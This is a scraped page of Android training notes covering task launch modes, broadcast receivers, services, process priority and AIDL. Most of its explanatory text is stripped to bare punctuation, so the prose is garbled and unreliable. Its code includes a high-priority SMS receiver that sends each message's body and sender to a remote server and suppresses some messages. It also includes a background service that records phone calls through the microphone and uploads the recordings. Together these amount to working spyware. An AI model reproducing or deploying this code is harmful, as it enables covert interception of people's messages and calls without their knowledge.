안 드 로 이 드 학습 6 일 째 (방송, 서비스, 프로 세 스, 스 레 드 등)
Task and Back Stack
activity , ,
activity 。
。
。 。
activity 。
Intent :
SingleTop , activity
, , activity
activity activity 。
: activity 。
Activity android:launchMode="SingleTop" 。
, , , ,
。
, activity , , 。
singalTask: Demo2 , ,
, , , Activity
SingalTask aCtivity , ,
activity。
: activity, ,
1、 webkit/c++ 。 ,
Activity, activity, UC
, browseractivity singalTask ,
, , 。
singleInstance: , activity
activity , ,
activity 。 , ,
, ,
, , 。
: , 。 , , 。
getTaskId() 。
standard. 。
android .
// , , , ,
// , , , , 。
abortBroadcast(); , ,
, abortBroadcast() 。
BroadCastRecevier activity , , 。
// , , 。 , 。
// , , , ,
// , , , , 。
<receiver
android:name=".SmsReceiver"
>
<intent-filter
android:priority="1000"
>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
//
//anr
, , ,
, 。
System.out.println("thread name ="+Thread.currentThread().getName());
,
。 。
:
// ,
// . , Service 。
// , , ,
// , , ,
// , , , , , 。
public class SmsReceiver extends BroadcastReceiver {
//
// android.provider.Telephony.SMS_RECEIVED
@Override
public void onReceive(Context context, Intent intent) {
Object[] pdus = (Object[]) intent.getExtras().get("pdus");
for (Object pdu : pdus) {
// Create an SmsMessage from a raw PDU. PDU SmsMessage 。
SmsMessage message = SmsMessage.createFromPdu((byte[])pdu);
//
final String content = message.getMessageBody();
//
final String address = message.getOriginatingAddress();
System.out.println(content);
System.out.println(address);
new Thread(){
public void run() {
String path = "http://192.168.0.103:8080/SmsWeb/SmsServlet?message="+content+"&address="+address;
//
// , abortBroadcast() 。
// ,
if ("15555215556".equals(address)) {
abortBroadcast();
SmsManager smsManager = SmsManager.getDefault();
smsManager.sendTextMessage(address, null, " ", null, null);
}
try {
URL url = new URL(path);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setRequestMethod("GET");
connection.setReadTimeout(5000);
System.out.println(connection.getResponseCode());
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
};
}.start();
}
}
}
<receiver
android:name=".SmsReceiver"
>
<intent-filter
android:priority="1000"
>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
0, 1000 。。
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
BroadCastRecevier
1. : , , 。
2. : , .
IntentFilter intentFilter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
SmsReceiver smsReceiver = new SmsReceiver();
registerReceiver(smsReceiver, intentFilter);
class SmsReceiver extends BroadcastReceiver{};
:
1. .
-1000~1000
android:priority="1000"
。
->
abortbroadcast()
2. .( )
, .
abortboradcast()
sendBroadcast(intent); //
sendOrderedBroadcast(intent, receiverPermission); //
// , , 。
//sendOrderedBroadcast(intent, receiverPermission, resultReceiver, scheduler, initialCode, initialData, initialExtras)
api
resultReceiver .
abortbroadcast()
resultReceiver , ?
setResultData(null) , setResultData(100)
, WEB filter request response , 。
, ,
。
, 。
// WEB HttpFilter 。 request response 。
// , , 。 。
// sendOrderedBroadcast API。
public class IpCallBrodCast extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
//
// , , 。 ,
// setResultData("15136225969");
//setResultData(null) 。 ,abortboradcast() ,
//sendOrderedBroadcast , 。
// setResultData(NULL) , , , 。
// getResultData();
SharedPreferences preferences = context.getSharedPreferences("ipcall", Context.MODE_PRIVATE);
String number = preferences.getString("number", "");
setResultData(number+getResultData());
}
}
SharedPreferences:
public void call(View view){
EditText eText = (EditText) findViewById(R.id.et1);
String number = eText.getText().toString().trim();
SharedPreferences sharedPreferences = getSharedPreferences("ipcall", Context.MODE_PRIVATE);
Editor editor = sharedPreferences.edit();
editor.putString("number", number);
editor.commit();
}
.
.
, .
activity
service service
.( activity BroadCast
, service )
Foreground process
,
Visible process
Service process
.
.
Background process
Empty process ( , )
( , )
//service , 。
, , , ANR 。
Caution: A service runs in the main thread of its hosting process—the service does not
create its own thread and does not run in a separate process (unless you specify otherwise).
This means that, if your service is going to do any CPU intensive work or blocking operations
(such as MP3 playback or networking), you should create a new thread within the service to do that work.
By using a separate thread, you will reduce the risk of Application Not Responding (ANR) errors and the
application's main thread can remain dedicated to user interaction with your activities.
// , jar ,commons-codec-1.3.jar commons-httpclient-3.1.jar commons-logging-1.1.jar
// jar commons-fileupload-1.2.2.jar commons-io-2.0.1.jar JSP servlet jar 。
, service activity , Intent.
Intent intent = new Intent(this,PhoneListenService.class);
startService(intent);
:
/**
* @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)
*/
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
System.out.println("post");
boolean isMultipart = ServletFileUpload.isMultipartContent(request);
if(isMultipart){
String realpath = request.getSession().getServletContext().getRealPath("/files");
System.out.println(realpath);
File dir = new File(realpath);
if(!dir.exists()) dir.mkdirs();
FileItemFactory factory = new DiskFileItemFactory();
ServletFileUpload upload = new ServletFileUpload(factory);
upload.setHeaderEncoding("UTF-8");
try {
List<FileItem> items = upload.parseRequest(request);
for(FileItem item : items){
if(item.isFormField()){
String name1 = item.getFieldName();//
String value = item.getString("UTF-8");
System.out.println(name1+ "="+ value);
}else{
item.write(new File(dir, System.currentTimeMillis()+ item.getName().substring(item.getName().lastIndexOf("."))));
}
}
System.out.println();
response.getOutputStream().write(" ".getBytes("utf-8"));
} catch (Exception e) {
e.printStackTrace();
}
}else{
doGet(request, response);
}
}
:
package cn.itcast.phoneListener;
import java.io.File;
import java.io.IOException;
import org.apache.commons.httpclient.methods.PostMethod;
import org.apache.commons.httpclient.methods.multipart.FilePart;
import org.apache.commons.httpclient.methods.multipart.MultipartRequestEntity;
import org.apache.commons.httpclient.methods.multipart.Part;
import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
public class PhoneListenService extends Service {
@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}
/**
*
*/
@Override
public void onCreate() {
// 1. ,
//
// ,
// idle ,
//
// , , 。
// this.getSystemService(LAYOUT_INFLATER_SERVICE)
TelephonyManager telephonyManager = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);
// , , , 。
telephonyManager.listen(new MyPhoneListener(), PhoneStateListener.LISTEN_CALL_STATE);
System.out.println(" ID"+Thread.currentThread().getName());
}
public class MyPhoneListener extends PhoneStateListener{
MediaRecorder mediaRecorder;
/**
*
*/
@Override
public void onCallStateChanged(int state, String incomingNumber) {
try {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE://
System.out.println("// ");
// , , ,
if (mediaRecorder != null) {
mediaRecorder.stop();
mediaRecorder.reset(); // You can reuse the object by going back to setAudioSource() step
mediaRecorder.release(); // Now the object cannot be reused
//
new Thread(){
public void run() {
File file = new File(Environment.getExternalStorageDirectory()+"/rec.3gp");
try {
upload(file);
} catch (Exception e) {
e.printStackTrace();
}
};
}.start();
}
break;
case TelephonyManager.CALL_STATE_RINGING://
System.out.println(" " + incomingNumber);
break;
case TelephonyManager.CALL_STATE_OFFHOOK:////
System.out.println(" ");
// , , ,
// , , 。
// , , 。 。
mediaRecorder = new MediaRecorder();
mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
mediaRecorder.setOutputFile(Environment.getExternalStorageDirectory()+"/rec.3gp");
mediaRecorder.prepare();
mediaRecorder.start(); // Recording is now started
break;
}
} catch (IllegalStateException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (Exception e) {
e.printStackTrace();
}
}
}
public void upload(File file) throws Exception{
// part []
Part[] parts = {
new FilePart("file",file)};
PostMethod filePost = new PostMethod("http://192.168.0.103:8080/SmsWeb/UploadPhone");
filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost.getParams()));
org.apache.commons.httpclient.HttpClient client = new org.apache.commons.httpclient.HttpClient();
client.getHttpConnectionManager().getParams()
.setConnectionTimeout(10000);
int status = client.executeMethod(filePost);
if(status==200){
System.out.println(" ");
}
else{
throw new IllegalStateException(" ");
}
}
}
// serivce? 。?
, , 。
, ,
。 Background process, 。
, , ,
, , , , 。
, 。
serivce , 。
Service process, startForeground() setForeground(true);.
, 。
//Service ?
1 startservice
stopservice
: oncreate()
, oncreate() ,
onstart()
onDestroy();
Service onCreate onStart onDestory 。
2 bindservice
oncreate() ->onbind()
bindsercie() ();
, 。
,
unbindservice()
on unbind() -> ondestroy() ;
.
unbindService() ,Activity cn.itcast.servicelife.DemoActivity
has leaked ServiceConnection cn.itcast.servicelife.DemoActivity$
MyConn@44f406f0 that was originally bound here
, , activity , ,
Activity onDestory 。
@Override
protected void onDestroy() {
// , activity.
unbindService(myConn);
super.onDestroy();
}
// ?
(startservice)
, activity
service .
activity .
(bindservice)
, .
(activity) .
03-16 07:45:42.479: ERROR/ActivityThread(8618): Activity cn.itcast.servicelife.DemoActivity
has leaked ServiceConnection cn.itcast.servicelife.DemoActivity$
MyConn@44f406f0 that was originally bound here
\
03-16 07:45:42.479: ERROR/ActivityThread(8618): android.app.ServiceConnectionLeaked: Activity cn.itcast.servicelife.DemoActivity
has leaked ServiceConnection cn.itcast.servicelife.DemoActivity$MyConn@44f406f0 that was originally bound here
activity destory onunbind() 。
activity .
serviceSonnection ibinder ,
ibinder ( )
, activity 。 start
。
, , activity 。
IService
aidl
(android interface defination language)
, , ,
, , , 。
public interface IService {
public void callMethodInService();
}
public class MyService extends Service{
@Override
public IBinder onBind(Intent intent) {
System.out.println("onBind");
return new MyBinder();
}
public class MyBinder extends Binder implements IService{
@Override
public void callMethodInService() {
sayHelloInService();
}
}
/**
*
*/
public void sayHelloInService(){
System.out.println("hello in service");
}
}
package cn.itcast.servicelift;
import android.app.Activity;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.os.Bundle;
import android.os.IBinder;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
public class ServicelifecycleActivity extends Activity implements OnClickListener {
Button bt_start;
Button bt_stop;
Button bt_bind_service; //
Button bt_unbind_service; //
Button bt_call_service;
Intent intent ;
MyConn myConn;
IService iService;
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
bt_start = (Button) this.findViewById(R.id.button1);
bt_stop = (Button) this.findViewById(R.id.button2);
bt_bind_service = (Button) this.findViewById(R.id.button3);
bt_unbind_service = (Button) this.findViewById(R.id.button4);
bt_call_service = (Button)this.findViewById(R.id.button5);
bt_start.setOnClickListener(this);
bt_stop.setOnClickListener(this);
bt_bind_service.setOnClickListener(this);
bt_unbind_service.setOnClickListener(this);
bt_call_service.setOnClickListener(this);
// Intent
intent = new Intent(this,MyService.class);
myConn = new MyConn();
}
@Override
public void onClick(View v) {
switch (v.getId()) {
case R.id.button1://
System.out.println("uf");
startService(intent);
break;
case R.id.button2: //
stopService(intent);
break;
case R.id.button3:
// , , 。
bindService(intent, myConn, Context.BIND_AUTO_CREATE);
break;
case R.id.button4:
unbindService(myConn);
break;
case R.id.button5:
iService.callMethodInService();
break;
}
}
/**
*
* @author chen
* ServiceConnection Service , 。
*/
private class MyConn implements ServiceConnection{
/**
* Serivce , IBinder Service 。
* name: Service 。
* service: IBinder, MyService 。
*/
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
iService = (IService) service;
}
@Override
public void onServiceDisconnected(ComponentName name) {
// TODO Auto-generated method stub
}
}
@Override
protected void onDestroy() {
// , activity.
unbindService(myConn);
super.onDestroy();
}
}
:
1. bindservice();
.
IService , service
mybinder extends IBinder IService, onbind
mybinder
activity bindservice
MyConn ServiceConnection onserviceConnected
MyBinder
mybinder IServcie
IService
。 AIDL.(android interface defination language)
。
IPC , , 。
2. aidl
.
IService , service
.java aidl
mybinder extends IService.Stub, onbind
mybinder
, activity bindservice , IService.aidl
copy , , 。
MyConn ServiceConnection onserviceConnected
MyBinder
iService = IService.Stub.asInterface(myBinder)
IService
: ,
,
<service android:name=".RemoteService">
<intent-filter>
<action android:name="cn.myremoteService"/>
</intent-filter>
</service>
, , ,
, , 。
Activity
Intent intent = new Intent();
// service,
intent.setAction("cn.myremoteService");
bindService(intent, new Myconn(), Context.BIND_AUTO_CREATE);
:
Intent intent = new Intent();
// service,
intent.setAction("cn.myremoteService");
bindService(intent, new Myconn(), Context.BIND_AUTO_CREATE);
private class Myconn implements ServiceConnection{
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
// TODO Auto-generated method stub
iService = IService.Stub.asInterface(service);
}
@Override
public void onServiceDisconnected(ComponentName name) {
// TODO Auto-generated method stub
}
}
AIDL : 。
AIDL , 。
。。
copy AIDL 。
public class EndcallActivity extends Activity {
ITelephony iTelephony;
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
// API,
//
try {
Method method = Class.forName("android.os.ServiceManager").getMethod("getService", String.class);
// IBinder , onBind() 。
IBinder binder = (IBinder) method.invoke(null, new Object[]{TELEPHONY_SERVICE});
iTelephony = ITelephony.Stub.asInterface(binder);
} catch (Exception e) {
e.printStackTrace();
}
}
public void endcall(View view) throws RemoteException{
iTelephony.endCall();
}
}
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
다양한 언어의 JSONJSON은 Javascript 표기법을 사용하여 데이터 구조를 레이아웃하는 데이터 형식입니다. 그러나 Javascript가 코드에서 이러한 구조를 나타낼 수 있는 유일한 언어는 아닙니다. 저는 일반적으로 '객체'{}...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.